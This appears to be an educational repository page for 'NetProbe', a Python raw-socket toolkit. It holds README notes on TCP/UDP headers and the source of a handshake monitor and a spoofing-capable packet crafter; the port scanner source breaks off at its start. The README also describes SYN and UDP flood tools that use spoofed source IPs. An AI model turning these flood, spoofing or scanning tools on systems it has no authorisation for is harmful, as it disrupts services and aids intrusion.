Mitnick exploited predictable sequence numbers in 1994. Modern OSes use cryptographically random starting values. **TCP Flags:** ``` SYN (0x02) — Synchronize, initiate connection ACK (0x10) — Acknowledge received data RST (0x04) — Reset, abort connection immediately FIN (0x01) — Finish, gracefully close one direction PSH (0x08) — Push data immediately, don't buffer URG (0x20) — Urgent pointer is valid ``` Flags are packed into 6 bits of a single byte. To check if SYN is set: `flags & 0x02`. To set multiple flags: `SYN | ACK = 0x02 | 0x10 = 0x12`. **TCP Pseudo-Header:** TCP's checksum doesn't just cover the TCP header — it also covers a 12-byte "pseudo-header" containing source IP, destination IP, protocol, and TCP length. This pseudo-header is never transmitted — it exists only for checksum calculation. The reason: it binds the TCP checksum to the IP addresses, so a misrouted packet (valid IP header, wrong destination) will fail the TCP checksum check. --- ### 5. UDP — Speed Over Reliability UDP is the opposite philosophy from TCP. No handshake, no acknowledgments, no ordering, no retransmission. Just send and forget. The entire UDP header is 8 bytes: ``` Bytes 0-1: Source Port Bytes 2-3: Destination Port Bytes 4-5: Length Bytes 6-7: Checksum ``` **Why UDP has a Length field but TCP doesn't:** TCP is a stream protocol — sequence numbers track every byte's position, so the receiver always knows where it is. UDP is a datagram protocol — each packet is independent with no sequence tracking. The length field explicitly states how big each datagram is. **When to use UDP over TCP:** - DNS lookups — small request, small response, speed matters - VoIP and video — a dropped frame is better than a delayed one - Gaming — latency matters more than reliability - HTTP/3 (QUIC) — Google rebuilt reliability on top of UDP with custom rules, faster than TCP for modern web traffic The Google search capture showed this in practice — the vast majority of traffic was UDP on port 443, which is QUIC/HTTP3, not traditional HTTPS over TCP. --- ### 6. Raw Sockets Normal sockets (the kind every application uses) let the OS handle all headers automatically. Your application only sees the data. Raw sockets bypass this. You receive complete packets including all headers, and you can send packets where you built every header yourself. This is how Wireshark works — it uses raw sockets to see everything on the wire. **Why root is required:** Raw sockets give you access to all network traffic — including packets not addressed to you. Combined with the ability to spoof source IP addresses, this is a powerful capability that the OS restricts to root only. **AF_PACKET vs AF_INET:** ``` AF_INET — captures at IP layer, Ethernet header already stripped byte positions start at IP header (byte 0) AF_PACKET — captures at Ethernet layer, complete frames byte positions: Ethernet (0-13), IP (14-33), TCP (34+) ``` The sniffer uses `AF_PACKET` to capture everything including MAC addresses. The port scanner and packet crafter use `AF_INET` for simpler byte positions. --- ### 7. Threading — Concurrent Port Scanning Scanning 1024 ports sequentially, waiting 2 seconds per port = up to 34 minutes worst case. With threading, 100 ports scan simultaneously. **Why order doesn't matter:** Each port scan is completely independent. Whether port 80 finishes before port 443 is irrelevant — we collect all results and sort them at the end. **Race conditions:** When multiple threads write to the same list simultaneously, the list can get corrupted — operations that look atomic in Python aren't always atomic at the CPU level. The fix is a `threading.Lock()` — only one thread can hold the lock at a time, preventing simultaneous writes. ```python with lock: open_ports.append(port) # only one thread here at a time ``` **ThreadPoolExecutor:** Instead of creating 1024 threads simultaneously (which would overwhelm the network), `ThreadPoolExecutor(max_workers=100)` maintains a pool of 100 threads. When one finishes, it picks up the next port from the queue automatically. --- ## How Each Tool Works ### sniffer.py Creates a raw `AF_PACKET` socket in promiscuous mode — the network card accepts all frames regardless of destination MAC. Parses each frame sequentially: Ethernet header (14 bytes) → IP header (20 bytes) → TCP or UDP header. Supports filtering by IP, port, and protocol via command-line arguments. Demonstrated capturing 244 packets from a single Google search, including DNS queries, QUIC/HTTP3 traffic, and background Microsoft telemetry. ### port_scanner.py Implements a TCP SYN (half-open) scan. For each port, crafts a raw SYN packet with a random source port and sends it. Listens for responses: SYN|ACK means open, RST means closed, timeout means filtered. Uses `ThreadPoolExecutor` with 100 workers to scan all 1024 ports concurrently instead of sequentially. The "half-open" name comes from never sending the final ACK — the connection is never fully established. ### handshake_monitor.py Watches live traffic and tracks TCP connection state across multiple packets. Uses a dictionary keyed by the 4-tuple `(src_ip, src_port, dst_ip, dst_port)` to store in-progress handshakes. Implements a three-state machine: `SYN_SENT` → `SYN_RECEIVED` → `ESTABLISHED`. The "reversed key" handles the fact that SYN|ACK arrives with src and dst addresses swapped compared to the original SYN. ### packet_crafter.py Interactive tool for crafting custom packets. Takes user input for every field — source IP (can be spoofed), destination IP/port, TTL, protocol, TCP flags, sequence number, window size — all with sensible defaults. Builds the packet using the core/ header classes, sends it, and waits up to 3 seconds for a response. Supports both TCP and UDP. Useful for testing firewall behavior, probing specific flag combinations, and simulating connection stages. ### syn_flood.py Simulates a TCP SYN flood DoS attack. Sends SYN packets as fast as possible to a target IP and port, each with a randomly spoofed source IP and source port. The target allocates memory for each half-open connection waiting for an ACK that never arrives. When the connection table fills up, legitimate connections are rejected. Uses 500 threads for maximum throughput. **Only use against machines you own or have explicit permission to test.** ### udp_flood.py Simulates a UDP flood DoS attack. Identical structure to the SYN flood but uses UDP headers instead of TCP. Particularly effective against UDP services (DNS on port 53, game servers) since UDP has no connection state — the target must process every packet. Uses randomly spoofed source IPs to prevent simple IP-based blocking. **Only use against machines you own or have explicit permission to test.** --- ## Key Concepts Quick Reference | Concept | Value | |---|---| | IP header size | 20 bytes (minimum) | | TCP header size | 20 bytes (minimum) | | UDP header size | 8 bytes (fixed) | | Ethernet header size | 14 bytes | | Linux default TTL | 64 | | Windows default TTL | 128 | | TCP protocol number | 6 | | UDP protocol number | 17 | | ICMP protocol number | 1 | | Max IP packet size | 65535 bytes | | Ethernet MTU | 1500 bytes | | SYN flag value | 0x02 | | ACK flag value | 0x10 | | SYN\|ACK value | 0x12 | | RST flag value | 0x04 | | FIN flag value | 0x01 | --- ## Challenges Faced **Binary operations** — understanding bit shifting and masking for packing multiple fields into single bytes was the hardest initial concept. The `ver_ihl` byte that packs version and IHL together required understanding `<<`, `>>`, `&`, and `|` at the bit level. **Checksum algorithm** — the RFC 1071 one's complement checksum is not intuitive. The carry folding step `(sum & 0xFFFF) + (sum >> 16)` and the reason for setting the checksum field to 0 before calculation took time to fully understand. **TCP pseudo-header** — discovering that TCP's checksum covers data from the IP layer (source and destination IPs) was unexpected. Understanding why this design decision was made — to detect misrouted packets — made it click. **Byte positions shifting by 14** — the difference between `AF_PACKET` (includes Ethernet header) and `AF_INET` (starts at IP header) caused off-by-14 errors when parsing response packets. Every field position needs to account for which socket type captured the packet. **Shared socket race condition** — in the port scanner, 100 threads sharing one receive socket meant any thread could grab any response. The fix — filtering responses by source port — required understanding that the response's source port identifies which port was scanned. --- ## Tools & Technologies - **Language:** Python 3 - **Key modules:** `socket`, `struct`, `threading`, `concurrent.futures` - **Platform:** Linux (raw sockets require Linux or macOS) - **Privileges:** Root required for all tools - **No external dependencies** — everything built from stdlib only --- ## References - RFC 791 — Internet Protocol: https://tools.ietf.org/html/rfc791 - RFC 793 — Transmission Control Protocol: https://tools.ietf.org/html/rfc793 - RFC 768 — User Datagram Protocol: https://tools.ietf.org/html/rfc768 - RFC 1071 — Computing the Internet Checksum: https://tools.ietf.org/html/rfc1071 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 | """ tools/handshake_monitor.py — TCP Handshake Monitor ==================================================== WHAT THIS FILE DOES: Watches live network traffic and detects whenever a complete TCP three-way handshake occurs — meaning a new connection was successfully established between two machines. Every time your browser opens a new connection, every time an app connects to a server, every time SSH starts — this tool sees it happen in real time. HOW IT WORKS: Captures every TCP packet using the same raw socket approach as sniffer.py, but instead of just printing packets, it tracks connection STATE across multiple packets using a dictionary. THE THREE-WAY HANDSHAKE (reminder): ------------------------------------ Packet 1: Client → Server SYN "I want to connect" Packet 2: Server → Client SYN|ACK "OK, I'm ready" Packet 3: Client → Server ACK "Great, let's go" These three packets don't arrive together — they're mixed in with hundreds of other packets. We track them by storing connection state in a dictionary between packets. THE STATE MACHINE: ------------------ Each connection moves through states: (no entry) → see SYN → "SYN_SENT" SYN_SENT → see SYN|ACK → "SYN_RECEIVED" SYN_RECEIVED → see ACK → COMPLETE → print and remove If a connection gets stuck (server never responds), it stays in the dictionary indefinitely. A production tool would add a cleanup timer — something to add as an improvement. WHAT'S REUSED FROM SNIFFER: ---------------------------- This tool imports and reuses sniffer.py's parsing functions directly — create_socket, parse_ethernet_header, parse_ip_header, parse_tcp_header. No code duplication. This is why we built those as separate functions rather than inline code. """ import os import sys import socket import struct import time # ───────────────────────────────────────────────────────────── # PATH SETUP # ───────────────────────────────────────────────────────────── # Add project root to Python's module search path so we can # import from both tools/ and core/ directories. # Same pattern used in port_scanner.py. sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) # Import parsing functions directly from sniffer. # We don't need to rewrite any of this — the sniffer already # handles all raw socket creation and packet parsing correctly. from tools.sniffer import (create_socket, parse_ethernet_header, parse_ip_header, parse_tcp_header) # ───────────────────────────────────────────────────────────── # SOCKET SETUP # ───────────────────────────────────────────────────────────── # Create a raw socket at the Ethernet layer, bound to eth0. # AF_PACKET captures complete frames including Ethernet header. # Same socket as the sniffer — we're just using the frames # differently (tracking state instead of printing everything). # Change 'eth0' to 'wlan0' if on wireless. recv_sock = create_socket('eth0') # ───────────────────────────────────────────────────────────── # CONNECTION STATE TRACKER # ───────────────────────────────────────────────────────────── # Dictionary storing in-progress TCP handshakes. # # KEY: 4-tuple identifying a unique connection # (src_ip, src_port, dst_ip, dst_port) # Example: ('192.168.1.1', 54321, '10.0.0.1', 80) # # VALUE: dictionary with connection state and timestamp # { # 'state': 'SYN_SENT' or 'SYN_RECEIVED', # 'timestamp': time.time() when SYN was first seen # } # # WHY OUTSIDE THE LOOP: # This MUST be defined before the while loop — not inside it. # If defined inside the loop, it resets to {} on every packet, # destroying all tracked connections. Handshakes span multiple # packets so state must persist between loop iterations. connections = {} # ───────────────────────────────────────────────────────────── # MAIN CAPTURE LOOP # ───────────────────────────────────────────────────────────── try: while True: # ── Capture one raw Ethernet frame ─────────────────── # Blocks here until a packet arrives on the interface. # raw_frame = complete Ethernet frame as bytes # addr = (interface, protocol, ...) — not used here raw_frame, addr = recv_sock.recvfrom(65535) # ── Parse Ethernet header ───────────────────────────── # Strips the 14-byte Ethernet header and returns: # dst_m, src_m = destination and source MAC addresses # ethertype = protocol inside (0x0800 = IPv4) # ip_payload = everything after Ethernet header dst_m, src_m, ethertype, ip_payload = parse_ethernet_header(raw_frame) # ── Parse IP header ─────────────────────────────────── # Extracts all IP header fields into a dictionary. # We need ip_dict['protocol'] to filter TCP only, # and ip_dict['src_ip']/['dst_ip'] for the connection key. ip_dict = parse_ip_header(ip_payload=ip_payload) # ── Filter: only process TCP packets ───────────────── # Protocol 6 = TCP. We skip UDP (17), ICMP (1), etc. # Handshakes only happen in TCP — UDP has no connection state. if ip_dict['protocol'] == 6: # ── Parse TCP header ────────────────────────────── # Extracts ports, sequence numbers, flags etc. # header_length_raw tells parse_tcp_header where TCP starts # (IP header size varies if IP options are present) tcp_dict = parse_tcp_header( ip_payload, ip_header_length=ip_dict['header_length_raw'] ) # ── Build the connection key ─────────────────────── # A 4-tuple uniquely identifies one TCP connection. # Two browser tabs to the same server have different # src_ports so they get different keys — no mixing up. # # key = as seen in THIS packet (src → dst) key = ( ip_dict['src_ip'], tcp_dict['src_port'], ip_dict['dst_ip'], tcp_dict['dst_port'] ) # reversed_key = same connection but from the OTHER direction # # WHY WE NEED THIS: # The SYN|ACK response comes back with src and dst SWAPPED: # # SYN: src=192.168.1.1:54321 dst=10.0.0.1:80 # SYN|ACK: src=10.0.0.1:80 dst=192.168.1.1:54321 # # When SYN|ACK arrives, its 'key' would be: # ('10.0.0.1', 80, '192.168.1.1', 54321) # But we stored the SYN under: # ('192.168.1.1', 54321, '10.0.0.1', 80) # # reversed_key lets us look up the original SYN entry # using the flipped addresses from the response packet. reversed_key = ( ip_dict['dst_ip'], tcp_dict['dst_port'], ip_dict['src_ip'], tcp_dict['src_port'] ) # ── STATE MACHINE ───────────────────────────────── if tcp_dict['flags']['SYN'] and not tcp_dict['flags']['ACK']: # ── SYN only → new connection starting ──────── # Client is initiating a connection. # Store it with state SYN_SENT and record when # we first saw it (for future timeout cleanup). # # 'key' here = (client_ip, client_port, server_ip, server_port) # This is the canonical key for this connection. connections[key] = { 'state': 'SYN_SENT', 'timestamp': time.time() } elif tcp_dict['flags']['SYN'] and tcp_dict['flags']['ACK']: # ── SYN|ACK → server responded ──────────────── # Server accepted the connection request. # We look up using reversed_key because this packet's # src/dst are swapped compared to the original SYN. # # If we find the matching SYN entry, advance its state. # If not found — we missed the SYN (started monitoring # mid-connection) — silently ignore. if reversed_key in connections: connections[reversed_key]['state'] = 'SYN_RECEIVED' elif tcp_dict['flags']['ACK'] and not tcp_dict['flags']['SYN']: # ── ACK only → potential handshake completion ── # This could be: # a) The final ACK completing a handshake — we want this # b) A normal data acknowledgment mid-connection — ignore # # We distinguish by checking if reversed_key exists in # connections AND is in state SYN_RECEIVED. # Only a handshake-completing ACK satisfies both conditions. if reversed_key in connections and \ connections[reversed_key]['state'] == 'SYN_RECEIVED': # Handshake complete — new connection established # key here = (client_ip, client_port, server_ip, server_port) src_ip, src_port, dst_ip, dst_port = key print(f"[+] HANDSHAKE COMPLETE") print(f" {src_ip}:{src_port} → {dst_ip}:{dst_port}") print(f" Time: {time.strftime('%H:%M:%S')}\n") # Remove from dictionary — handshake is done, # no need to track this connection anymore del connections[reversed_key] except KeyboardInterrupt: # User pressed Ctrl+C — shut down cleanly print(f"\n[*] Monitor stopped.") print(f"[*] Connections still in progress: {len(connections)}") recv_sock.close() |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 | """ tools/packet_crafter.py — Interactive Packet Crafter ===================================================== WHAT THIS FILE DOES: Lets you manually craft and send any TCP or UDP packet with full control over every field — source IP, destination IP, ports, TTL, TCP flags, sequence numbers, window size. This is the most flexible tool in NetProbe. Unlike the port scanner which sends the same SYN to every port automatically, the packet crafter lets YOU decide exactly what gets sent. USE CASES: - Test how a target responds to unusual flag combinations (e.g. RST to abort a connection, FIN to close one gracefully) - Send packets with a spoofed source IP to test firewall rules - Test how targets handle low TTL values - Craft malformed or unexpected packets to probe IDS/firewall behavior - Manually simulate specific stages of the TCP handshake HOW IT WORKS: 1. Ask user for all packet fields with sensible defaults 2. Build IP + TCP (or UDP) headers using our core/ classes 3. Send via raw socket 4. Wait up to 3 seconds for a response 5. Parse and display the response flags, IPs, ports 6. Ask if user wants to send another packet WHAT'S NEW COMPARED TO PORT SCANNER: - Interactive input instead of hardcoded values - Supports both TCP and UDP - Displays detailed response information - Loop to send multiple packets in one session """ import os import sys import socket import struct import random # ───────────────────────────────────────────────────────────── # PATH SETUP # ───────────────────────────────────────────────────────────── # Add project root to Python's path so imports from core/ work # regardless of which directory you run this script from. sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from core.ip_header import IPHeader from core.tcp_header import TCPFlags, TCPHeader from core.udp_header import UDPHeader # ───────────────────────────────────────────────────────────── # USER INPUT # ───────────────────────────────────────────────────────────── def get_user_input() -> dict: """ Interactively collect all packet fields from the user. DESIGN PRINCIPLE — SENSIBLE DEFAULTS: Every field has a default so the user only needs to type what they want to change. Pressing Enter accepts the default. This pattern is used everywhere in CLI tools: value = input("Field [default: X]: ").strip() value = int(value) if value else X If the user typed something → use it (converted to correct type) If the user pressed Enter → use the default PROTOCOL CHOICE AFFECTS LATER FIELDS: TCP has flags, sequence numbers, and window size. UDP has none of these — it's just ports and data. So we only ask for TCP-specific fields if protocol is TCP. Returns: Dictionary containing all packet fields ready to use in craft_and_send() """ print("\n" + "=" * 50) print(" NetProbe Packet Crafter") print("=" * 50) # ── Source IP ───────────────────────────────────────────── # Defaults to your real IP via gethostbyname/gethostname. # User can override with any IP — including a spoofed one. # Spoofed source IPs are useful for testing firewall rules # but responses will go to the spoofed IP, not back to you. src_ip = input("Source IP [default: your IP]: ").strip() if not src_ip: src_ip = socket.gethostbyname(socket.gethostname()) # ── Destination IP ──────────────────────────────────────── # Required — no sensible default for where to send the packet. # Loop until user provides a value. dst_ip = input("Destination IP: ").strip() while not dst_ip: print(" Destination IP is required.") dst_ip = input("Destination IP: ").strip() # ── Protocol ────────────────────────────────────────────── # TCP (6) or UDP (17). Determines which transport header # we build and which fields we ask for next. # Anything other than "UDP" defaults to TCP. protocol_input = input("Protocol [TCP/UDP, default: TCP]: ").strip().upper() if protocol_input == "UDP": protocol = 17 else: protocol = 6 # ── TTL ─────────────────────────────────────────────────── # Time To Live — each router decrements by 1. # Default 64 = Linux standard. Windows uses 128. # Set to 1 to see which first-hop router drops it. # Set to 255 to maximize reach across many hops. ttl_input = input("TTL [default: 64]: ").strip() ttl = int(ttl_input) if ttl_input else 64 # ── Source Port ─────────────────────────────────────────── # Random high port by default (50000-65535 = ephemeral range). # The target's response will come back to this port. # If you spoof the source IP, responses won't reach you anyway. src_port_input = input("Source port [default: random]: ").strip() src_port = int(src_port_input) if src_port_input else random.randint(50000, 65535) # ── Destination Port ────────────────────────────────────── # Which service to target. Common ports: # 22=SSH, 80=HTTP, 443=HTTPS, 53=DNS, 3389=RDP dst_port_input = input("Destination port [default: 80]: ").strip() dst_port = int(dst_port_input) if dst_port_input else 80 # ── TCP-specific fields ─────────────────────────────────── # Only asked if protocol is TCP. UDP has no flags, sequence # numbers, or window — those are TCP-only concepts. if protocol == 6: # Flags — the most powerful field in a packet crafter. # Controls connection behavior: # SYN = initiate connection (port scanner uses this) # RST = forcefully abort any existing connection # FIN = gracefully close connection # ACK = acknowledge received data # SYN|ACK = server's response to SYN (handshake step 2) # PSH = push data immediately, don't buffer # URG = urgent pointer is valid # # TCPFlags.from_string() handles parsing "SYN|ACK" style input # by splitting on | and OR-ing the individual flag values. print(" Flags: SYN, ACK, RST, FIN, PSH, URG, SYN|ACK, FIN|ACK") flag_input = input("Flags [default: SYN]: ").strip().upper() flags = TCPFlags.from_string(flag_input) if flag_input else TCPFlags.SYN # Sequence number — identifies position in the byte stream. # Random by default (mirrors real OS behavior and prevents # TCP hijacking as we discussed when building tcp_header.py). # Override with a specific value for advanced testing. seq_input = input("Sequence number [default: random]: ").strip() seq = int(seq_input) if seq_input else random.randint(0, 2**32 - 1) # Window size — advertises how much buffer space we have. # 65535 = maximum for non-scaled connections. # Setting this to 0 is a valid test — it tells the target # to stop sending (window probe scenario). window_input = input("Window size [default: 65535]: ").strip() window = int(window_input) if window_input else 65535 else: # UDP doesn't use these fields — set to None flags = None seq = None window = None # Return all collected values as a single dictionary. # craft_and_send() receives this dict and uses each value. return { "src_ip": src_ip, "dst_ip": dst_ip, "protocol": protocol, "ttl": ttl, "src_port": src_port, "dst_port": dst_port, "flags": flags, "seq": seq, "window": window, } # ───────────────────────────────────────────────────────────── # PACKET BUILDING AND SENDING # ───────────────────────────────────────────────────────────── def craft_and_send(params: dict) -> None: """ Build the packet from user params, send it, and display response. TWO SOCKETS — SAME PATTERN AS PORT SCANNER: -------------------------------------------- send_sock (IPPROTO_RAW): For sending our crafted packet with custom IP header. IP_HDRINCL tells OS we're providing the IP header ourselves. recv_sock (IPPROTO_TCP or IPPROTO_UDP): For capturing the response. Protocol must match what we sent so we only capture relevant responses and ignore other traffic. WHY WE SWAP recv_sock FOR UDP: If we sent UDP, we need recv_sock to capture UDP responses. The initial recv_sock is TCP — we close it and open a UDP one. This ensures we don't miss UDP responses or capture wrong packets. Args: params: Dictionary from get_user_input() containing all fields """ # ── Create sockets ──────────────────────────────────────── # Sending socket — same for both TCP and UDP send_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) # IP_HDRINCL = "IP Header Included" # Tells the OS: don't add your own IP header, I've built mine. # Without this the OS would prepend another IP header, creating # a malformed double-header packet. send_sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Receiving socket — start with TCP, swap to UDP if needed recv_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) recv_sock.settimeout(3) # wait max 3 seconds for a response # ── Build transport header ──────────────────────────────── if params["protocol"] == 6: # TCP packet — build with all user-specified fields tcp_obj = TCPHeader( src_port=params["src_port"], dst_port=params["dst_port"], flags=params["flags"], seq=params["seq"], window=params["window"], ) # build() calculates checksum using pseudo-header # (requires src and dst IPs — that's why we pass them here) transport_header = tcp_obj.build(params["src_ip"], params["dst_ip"]) else: # UDP packet — simpler, just ports and checksum udp_obj = UDPHeader( src_port=params["src_port"], dst_port=params["dst_port"], ) transport_header = udp_obj.build(params["src_ip"], params["dst_ip"]) # Swap recv_sock to UDP so we capture UDP responses. # The TCP recv_sock would miss UDP packets entirely. recv_sock.close() recv_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) recv_sock.settimeout(3) # ── Build IP header ─────────────────────────────────────── # Built AFTER transport header because we need len(transport_header) # for the IP total length field. Same order as port_scanner.py. ip_obj = IPHeader( src=params["src_ip"], dst=params["dst_ip"], protocol=params["protocol"], ttl=params["ttl"], ) ip_header = ip_obj.build(payload_length=len(transport_header)) # ── Combine into complete raw packet ────────────────────── # Final packet = IP header (20 bytes) + transport header (20 or 8 bytes) # This is exactly what goes on the wire. packet = ip_header + transport_header # ── Print send summary ──────────────────────────────────── print(f"\n[*] Sending packet...") print(f" {params['src_ip']}:{params['src_port']} → " f"{params['dst_ip']}:{params['dst_port']}") if params["protocol"] == 6: print(f" Flags: {TCPFlags.to_string(params['flags'])} " f"TTL: {params['ttl']} " f"Seq: {params['seq']}") else: print(f" Protocol: UDP TTL: {params['ttl']}") # ── Send the packet ─────────────────────────────────────── # sendto() requires (data, (dst_ip, port)) tuple. # Port is 0 for raw sockets — destination port is already # embedded inside the transport header we crafted. send_sock.sendto(packet, (params["dst_ip"], 0)) print(f"[*] Packet sent ({len(packet)} bytes)") # ── Wait for response ───────────────────────────────────── print(f"[*] Waiting for response (3s timeout)...") try: while True: # Block until packet arrives or 3 second timeout fires. # We loop because recv_sock captures ALL TCP/UDP traffic — # we might grab packets unrelated to our probe first. response, addr = recv_sock.recvfrom(65535) # RESPONSE FILTERING: # Check if this response is actually for our packet. # The response's source port should match the port we targeted. # response[20:22] = first 2 bytes of TCP header = source port resp_src_port = struct.unpack("!H", response[20:22])[0] if resp_src_port != params["dst_port"]: continue # not our response, grab next packet # ── Parse the response ──────────────────────────── # Extract useful fields to display to the user. # All positions assume no Ethernet header (AF_INET socket). # IP header fields resp_src_ip = socket.inet_ntoa(response[12:16]) # bytes 12-15 resp_dst_ip = socket.inet_ntoa(response[16:20]) # bytes 16-19 resp_ttl = response[8] # byte 8 # TCP header fields resp_dst_port = struct.unpack("!H", response[22:24])[0] # bytes 22-23 offset_flags = struct.unpack("!H", response[32:34])[0] # bytes 32-33 resp_flags = offset_flags & 0x3F # bottom 6 bits = flags # Display response summary print(f"\n[+] Response received!") print(f" {resp_src_ip}:{resp_src_port} → {resp_dst_ip}:{resp_dst_port}") print(f" Flags: {TCPFlags.to_string(resp_flags)} TTL: {resp_ttl}") break # got our response — exit the while loop except socket.timeout: # No response in 3 seconds. # Possible reasons: # - Port is filtered (firewall dropped our packet) # - Source IP was spoofed (response went elsewhere) # - Target is down print(f"[-] No response received (timeout)") # ── Clean up ────────────────────────────────────────────── # Always close sockets when done — releases OS resources send_sock.close() recv_sock.close() # ───────────────────────────────────────────────────────────── # MAIN LOOP # ───────────────────────────────────────────────────────────── def main() -> None: """ Entry point. Runs the packet crafter in a loop. WHY A LOOP: Unlike the sniffer (runs until Ctrl+C) or port scanner (scans a fixed range), the packet crafter is interactive — you craft one packet, see the result, then decide whether to craft another. The loop supports this workflow naturally. DEFAULT TO NO: The "send another?" prompt defaults to No (user must type 'y'). This prevents accidental repeated packet sending — important when crafting RST or flood-style packets. """ print("[*] NetProbe Packet Crafter") print("[*] Craft and send custom TCP/UDP packets") print("[*] Run with sudo — raw sockets require root\n") while True: # Collect inputs, build and send packet, show response params = get_user_input() craft_and_send(params) # Ask if user wants to send another packet. # Default is No — user must explicitly type 'y' to continue. again = input("\nSend another packet? [y/N]: ").strip().lower() if again != 'y': print("[*] Exiting packet crafter.") break # ───────────────────────────────────────────────────────────── # ENTRY POINT # ───────────────────────────────────────────────────────────── if __name__ == '__main__': main() |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 | """ tools/port_scanner.py — TCP SYN Port Scanner ============================================= WHAT THIS FILE DOES: Scans a target machine to discover which TCP ports are open, closed, or filtered — exactly like nmap's -sS (SYN scan) mode, but built from scratch. HOW IT WORKS: For each port we want to scan: 1. Craft a raw TCP SYN packet using our IPHeader and TCPHeader classes 2. Send it to the target port 3. Wait for a response 4. Analyze the response flags: SYN|ACK → port is OPEN (someone is listening) RST → port is CLOSED (nothing listening, rejected) timeout → port is FILTERED (firewall dropped our packet silently) WHY IT'S CALLED A "HALF-OPEN" SCAN: Normal TCP connection = SYN → SYN|ACK → ACK (three steps) SYN scan = SYN → SYN|ACK (two steps, never completes) We get the information we need (open or closed) without ever completing the handshake. This is faster and stealthier than a full connection scan. WHY THREADING: Scanning 1024 ports one by one, each waiting 2 seconds for a response = potentially 2048 seconds (34 minutes) worst case. With 100 threads running simultaneously, worst case drops to ~20 seconds. Order doesn't matter so parallel execution is safe. WHY ROOT IS REQUIRED: Crafting raw packets with custom IP/TCP headers requires root. The OS won't let normal users bypass the network stack. Run with: sudo python3 tools/port_scanner.py """ import os import random import socket import struct import sys import threading # ───────────────────────────────────────────────────────────── # PATH SETUP # ───────────────────────────────────────────────────────────── # Add project root to Python's module search path. # Without this, 'from core.ip_header import IPHeader' fails # because Python only looks in the script's own directory (tools/) # not the parent directory where core/ lives. # # os.path.abspath(__file__) = full path to this file # os.path.dirname(...) = directory containing this file (tools/) # os.path.dirname(...again...) = parent directory (netprobe/) # sys.path.insert(0, ...) = add netprobe/ to search path sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from concurrent.futures import ThreadPoolExecutor from core.ip_header import IPHeader from core.tcp_header import TCPFlags, TCPHeader # ───────────────────────────────────────────────────────────── # SHARED STATE # ───────────────────────────────────────────────────────────── # Shared list where threads store discovered open ports. # All 100 threads write to this same list. open_ports = [] # Threading lock to prevent race conditions on open_ports. # # WHAT IS A RACE CONDITION? # ------------------------- # Two threads try to 